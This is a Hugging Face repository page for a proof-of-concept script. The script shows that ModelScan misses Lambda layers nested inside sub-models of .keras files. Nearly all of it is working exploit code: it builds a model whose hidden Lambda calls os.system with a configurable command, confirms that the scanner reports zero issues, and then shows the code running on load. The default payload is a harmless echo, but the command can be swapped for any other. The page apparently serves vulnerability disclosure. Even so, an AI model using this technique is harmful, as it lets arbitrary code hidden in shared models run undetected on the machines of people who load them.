Instructions to use MomoFan/keras-nested-lambda-scanner-bypass-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use MomoFan/keras-nested-lambda-scanner-bypass-poc with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://MomoFan/keras-nested-lambda-scanner-bypass-poc") - Notebooks
- Google Colab
- Kaggle
Download poc_keras_nested_lambda.py from MomoFan/keras-nested-lambda-scanner-bypass-poc: direct link, hf CLI and curl.
- Browser
- Download file 4.79 kB
-
https://huggingface.co/MomoFan/keras-nested-lambda-scanner-bypass-poc/resolve/main/poc_keras_nested_lambda.py
- Command line
-
hf download hf://MomoFan/keras-nested-lambda-scanner-bypass-poc/poc_keras_nested_lambda.py
-
curl -L -o poc_keras_nested_lambda.py https://huggingface.co/MomoFan/keras-nested-lambda-scanner-bypass-poc/resolve/main/poc_keras_nested_lambda.py
4.79 kB
| #!/usr/bin/env python3 | |
| """ | |
| ModelScan Keras .keras Nested Lambda Bypass PoC | |
| ================================================ | |
| ModelScan v0.8.8 (latest) fails to detect Lambda layers hidden inside | |
| nested sub-models in .keras files. The scanner only checks top-level | |
| config.layers[*].class_name == "Lambda", missing Lambdas nested inside | |
| Sequential/Functional sub-models. | |
| This allows an attacker to craft a malicious .keras model that: | |
| 1. Contains arbitrary code in a Lambda layer | |
| 2. Passes ModelScan with zero issues detected | |
| 3. Executes the code when loaded with safe_mode=False | |
| Impact: Scanner bypass → undetected arbitrary code execution on model load | |
| Tested: ModelScan 0.8.8, Keras 3.13.2, Python 3.12 | |
| """ | |
| import keras | |
| import numpy as np | |
| import json | |
| import zipfile | |
| import os | |
| import sys | |
| def create_malicious_model(output_path, payload_cmd="echo PWNED > /tmp/pwned.txt"): | |
| """Create a .keras file with a Lambda layer hidden inside a nested sub-model.""" | |
| # The Lambda is hidden inside a Sequential sub-model | |
| # ModelScan only checks top-level layers, so it misses this entirely | |
| inner_model = keras.Sequential([ | |
| keras.layers.Dense(10), | |
| keras.layers.Lambda( | |
| lambda x: __import__('os').system(payload_cmd) or x | |
| ), | |
| ], name="feature_extractor") | |
| outer_model = keras.Sequential([ | |
| keras.layers.Input(shape=(5,)), | |
| inner_model, | |
| keras.layers.Dense(1) | |
| ]) | |
| outer_model.save(output_path) | |
| return outer_model | |
| def verify_scanner_bypass(model_path): | |
| """Verify that ModelScan does NOT detect the malicious Lambda.""" | |
| from modelscan.modelscan import ModelScan | |
| scanner = ModelScan() | |
| results = scanner.scan(model_path) | |
| issues = results['issues'] | |
| print(f"ModelScan results for {os.path.basename(model_path)}:") | |
| print(f" Total issues: {len(issues)}") | |
| print(f" Summary: {results['summary']['total_issues_by_severity']}") | |
| if len(issues) == 0: | |
| print(f" ✅ BYPASS CONFIRMED: ModelScan found zero issues!") | |
| return True | |
| else: | |
| print(f" ❌ Detected: {issues}") | |
| return False | |
| def verify_config_structure(model_path): | |
| """Show that the Lambda is nested and invisible to top-level scanning.""" | |
| with zipfile.ZipFile(model_path, 'r') as zf: | |
| with zf.open('config.json', 'r') as f: | |
| config = json.loads(f.read()) | |
| print(f"\nConfig structure analysis for {os.path.basename(model_path)}:") | |
| # Check top level | |
| top_layers = config.get('config', {}).get('layers', []) | |
| top_lambdas = [l for l in top_layers if l.get('class_name') == 'Lambda'] | |
| print(f" Top-level layers: {[l['class_name'] for l in top_layers]}") | |
| print(f" Top-level Lambda count: {len(top_lambdas)}") | |
| # Check nested | |
| for layer in top_layers: | |
| inner_layers = layer.get('config', {}).get('layers', []) | |
| if inner_layers: | |
| nested_lambdas = [l for l in inner_layers if l.get('class_name') == 'Lambda'] | |
| if nested_lambdas: | |
| print(f" Nested Lambda in '{layer['config'].get('name', 'unknown')}': {len(nested_lambdas)} found") | |
| print(f" → ModelScan CANNOT see these nested Lambdas!") | |
| def verify_code_execution(model_path): | |
| """Load the model with safe_mode=False and verify code execution.""" | |
| print(f"\nLoading {os.path.basename(model_path)} with safe_mode=False...") | |
| model = keras.saving.load_model(model_path, safe_mode=False) | |
| result = model.predict(np.ones((1, 5)), verbose=0) | |
| print(f" Prediction: {result.flatten()}") | |
| if os.path.exists('/tmp/pwned.txt'): | |
| print(f" 🔴 CODE EXECUTED: /tmp/pwned.txt contains: {open('/tmp/pwned.txt').read().strip()}") | |
| os.unlink('/tmp/pwned.txt') | |
| else: | |
| print(f" Code execution verification: check command output") | |
| if __name__ == "__main__": | |
| model_path = "/tmp/poc_nested_lambda.keras" | |
| print("=" * 70) | |
| print("ModelScan .keras Nested Lambda Bypass PoC") | |
| print("=" * 70) | |
| # Step 1: Create malicious model | |
| print("\n[1] Creating malicious .keras model with nested Lambda...") | |
| create_malicious_model(model_path) | |
| print(f" Saved to: {model_path}") | |
| # Step 2: Show config structure | |
| print("\n[2] Analyzing config structure...") | |
| verify_config_structure(model_path) | |
| # Step 3: Run ModelScan | |
| print("\n[3] Running ModelScan...") | |
| bypassed = verify_scanner_bypass(model_path) | |
| # Step 4: Verify code execution | |
| if bypassed: | |
| print("\n[4] Verifying code execution...") | |
| verify_code_execution(model_path) | |
| print("\n" + "=" * 70) | |
| print("RESULT: Scanner bypass " + ("CONFIRMED ✅" if bypassed else "FAILED ❌")) | |
| print("=" * 70) | |